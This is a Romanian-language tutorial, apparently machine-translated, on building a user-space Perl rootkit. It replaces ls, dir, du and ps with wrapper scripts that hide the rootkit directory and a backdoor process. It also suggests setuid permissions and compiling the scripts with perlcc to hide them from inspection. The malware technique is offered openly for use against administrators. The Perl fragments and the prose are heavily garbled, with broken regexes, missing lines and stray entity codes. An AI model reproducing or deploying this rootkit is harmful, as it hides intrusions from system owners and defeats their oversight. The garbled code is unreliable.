Sa rootkit non-nucleu în perl
Trebuie să spun că nu am de gând să rescrie instrumente cum ar fi ls, ps, netstat pentru a ascunde
prezența unui rootkit în sistem. Voi face mult mai ușor, cu toate că nu mult mai sigur - eu doar înlocuiesc
Aceste script-uri de utilitate argumente trimise de comanda consola procesate, apoi redirecționați
utilitatea lor original, instalat în sistem, apoi a primit răspuns de la ea, prelucrarea acesteia, și
deducând utilizatorul înapoi la consola. Deși este posibil să se acționeze într-un mod diferit. Puteți pur și simplu opțiune
PATH /root/.bash_profile fișier pentru a adăuga calea catalogului răspunsurilor script-uri prelucrate
utilitati. Aceasta este, fișierele rootkit nu vor putea vedea doar unul care se conectează la un sistem de utilizator,
ale căror .bash_profile au /root/.bash_profile. Deci, dacă sunteți sigur că nimeni în afară de tine în sistemul de drept
Ruta nu va primi, atunci puteți alege a doua opțiune.
Primul lucru pe care toți trebuie să analizeze și să înțeleagă cum să înceapă scrierea rootkit lui. eu
Scrierea se împarte în trei etape:
1) crearea de programe care ascund fișierele rootkit;
2) crearea de programe procese de ascundere;
3) scris mai multe scenarii pentru comoditatea de a lucra cu un rootkit.
Să începem. Așa cum am menționat mai devreme, nu am de gând să rescrie utilitățile sunt prezente pe sistem.
Eu doar le muta. Creez un dosar rootkit în directorul / bin, și va trece la utilitatea ca
necesare. Asta este, dacă am nevoie pentru a înlocui ls, am muta ls originale în directorul / bin / rootkit-urilor, și
în locul dintâi am pus scenariul.
Această linie, de altfel, va fi prezent în aproape toate dosarele rootkit noastre viitoare.
Primul lucru pe care trebuie să scrie cod care verifica argumentele de intrare. Adică, dacă cineva se execută un utilitar
opțiunea dir la / bin / rootkit, atunci răspunsul va indica nu este directorul nostru atribute, și un mesaj care indică
faptul că dosarul nu există. Acest cod este destul de ușor să pună în aplicare:
foreach $ arg (@ARGV) # verificare de fiecare element al parametrilor de matrice a alerga
if (($ arg eq «/ bin / rootkit /») || ($ arg eq «rootkit») # 038; # 038; ($ pwd eq «bin»))
# În cazul în care argumentul este / bin / rootkit -
# Locul de amplasare de foldere noastre cu un rootkit, atunci următoarele
# Afișează un mesaj care indică faptul că un fișier sau un folder nu este
# acolo
>
După lansarea dir de utilitate cu opțiunile care au venit la script-ul nostru.
Variabila $ Sher înregistrează toate datele pe care a emis utilitate dir după munca lor. acum
înainte de datele de ieșire pentru utilizator, trebuie să le verificați pentru existența fișierelor de date
rootkit nostru. Aceasta este, în cazul în care utilizatorul pornește utilitarul dir pentru dosarul / bin, răspunsul nu ar trebui să vadă dosarul
/ Bin / rootkit.
Am stat în codul nostru de cel înregistrat în variabila $ dir dir ieșire la utilitarul. acum
trebuie să se ocupe în mod corect datele și de ieșire pentru utilizator.
@ Dirz = divizare (/ /, $ dir); # Variabila $ dir diviza în mai multe împărțindu-l
# Simboluri 2 spații și stochează variabilele care rezultă într-o matrice @dirz
Vom începe verificarea datelor, și, dacă este necesar, înlocuiți:
/ $ Kit_path /) # cec pentru prezența răspunsului / bin / rootkit
în cazul în care (($ dirz =
if ($ count == scalar (@dirz)) grafică # subtilitate
implementare O =)
imprima «$ dirz«;
>
Mai departe spre du. Descrie tot codul eu nu văd rostul. Algoritmul, cred că toată lumea știa deja. În primul rând verificați argumentele
Apoi rulați programul, vom primi răspunsul, procesul și de ieșire
utilizator. Scheletul poate servi pentru du
script-ul nostru dir. Și acum, lucrul cel mai important. du utilitate, precum și ls, oferă informații cu privire la dimensiunea sistemului de fișiere, precum și
unele atribute individuale pentru fiecare fișier. Adică, dacă o persoană efectuează du / bin sau comanda ls -l
/ Bin, este probabil ca rootkit noastră va fi declasificat, deoarece dimensiunea tuturor ne este în mod natural utilități convertite nu va fi la fel
cu dimensiunea originală. Asta e ceea ce trebuie să ne ascundem.
Din moment ce încă nu știu exact ce fișiere pe care doriți să ne ascundem, vom face codul universal, care ar fi ea
în orice moment, a fost posibil ca ceva să termine rapid și, cel mai important, ceea ce ar funcționa totul.
@fake_tools = ( «/ usr / bin / dir», »/ usr / bin / du»); # Troienele într-o serie de fișiere, informații care trebuie să fie
# regla
Acum, scrie funcție universală pentru toate fișierele „feykovye“.
Sub checkz <#функция checkz()
@ Fak = divizat (/ \ //, $ false); # Split, simbolul "/" calea către feykovye TOOLS
if (scalar (@fak) == 3) # dacă matrice @fak 3 elemente, și anume,
# Dacă luăm în considerare utilitate dir - calea
# / Usr / bin / dir, într-o matrice de 4 elemente să fie introduse,
# Și dacă luăm în considerare / bin / ls de exemplu,
# În matrice va avea 3 elemente. Acest cod face
Numărul # insignifiant de argumente pentru ulterioare
#
operații pe ele
/ $ Fak [3] /) # 038; # 038; ($ pwd eq «/ $ fak [1] / $ fak [2]») || ($ Arg echiv «$ fals»)) #
în cazul în care $ arg - start argumentul
#
sau o linie în dir antet
@ Ediz = divizare (/ \ t /, $ Diz);
în cazul în care ($ duz =
Exact același cod pe care îl poate utiliza în ls. numai
Are puțin pentru a corecta ieșire deja crea false
ls'a. Punerea în aplicare a crea ls false pot fi găsite în arhiva cu codul sursa al rootkit pe disc.
Dacă aveți dorința de a scrie unele alte programe false, veți reuși cu ușurință folosind
algoritmul descris mai sus.
Deci, felicitări, a treia parte a rootkit nostru este gata. Vom proceda la ascunderea proceselor noastre. pentru a face acest lucru,
avem nevoie pentru a face un PS utilitar fals.
#! / Usr / bin / perl
$ Kit_path = »/ bin / rootkit»;
$ Proc = »klogb»; # Numele procesului de backdoor în sistem
$ T = 0;
@ Ps = `/ bin / ps @ ARGV`;
foreach $ arg (@ARGV)
foreach $ ps (@ps)
/ $ Proc /) # în cazul în care există backdoor nostru, este să nu deducem
if ($ ps =
/ $ Kit_path /) # în cazul în care procesul de funcționare din dosar, nu se deduce
if (($ ps =
/ PS /)) # atunci când rulează / bin / ps în sistem va fi de 2 proces nou
# Acest perl / bin / ps și ps, perl / bin / ps = elimina)
if ($ ps =
ps fals gata pentru consum utilizatori prosti.
Și nu uitați să-l atribuiți + s 🙂
Puțină imaginație și rootkit gata. Dar dacă cineva vrea să facă o pisica pentru exemplul / bin / ls? El vede scenariul nostru perla. pentru ce
Ar fi prima dată când nimeni nu a dat seama ce o captură, trebuie doar să compila script-uri noastre de perle în binar
fișiere perlcc de utilitate, care este prezent în toate sistemele bazate pe * nix. Acum, dacă cineva face o pisica
/ bin / ls, el va vedea o mulțime de personaje necunoscute utilizatorul mediu al alfabetului. Apropo, după ce toate fișierele sunt gata,
pentru a le rula aveți nevoie să instalați pe comanda lor chmod 755 fișier 755-biți, pentru a deveni
executabil. Și, în cele din urmă, atunci când toate codul brut este depanat, face o install.pl îndrăzneață și du-te lauzi la prietenii săi
samopisnaya l33t-4LL n 0 zile! x k3n3l r00tk! t0m.
Arată acest articol unui prieten: